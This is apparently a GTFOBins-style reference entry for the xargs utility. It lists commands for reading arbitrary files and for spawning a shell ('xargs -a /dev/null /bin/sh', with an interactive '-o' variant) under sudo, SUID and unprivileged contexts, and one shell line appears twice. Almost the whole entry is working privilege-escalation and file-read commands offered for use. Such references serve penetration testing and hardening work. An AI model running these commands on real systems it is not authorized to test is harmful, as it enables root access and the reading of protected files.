xargs

File Read

Context: sudo, suid, unprivileged

xargs -a /path/to/input-file -0

Shell

Context: sudo, suid, unprivileged

xargs -a /dev/null /bin/sh

Context: sudo, suid, unprivileged

xargs -a /dev/null /bin/sh

Context: sudo, suid, unprivileged

echo x | xargs -o -a /dev/null /bin/sh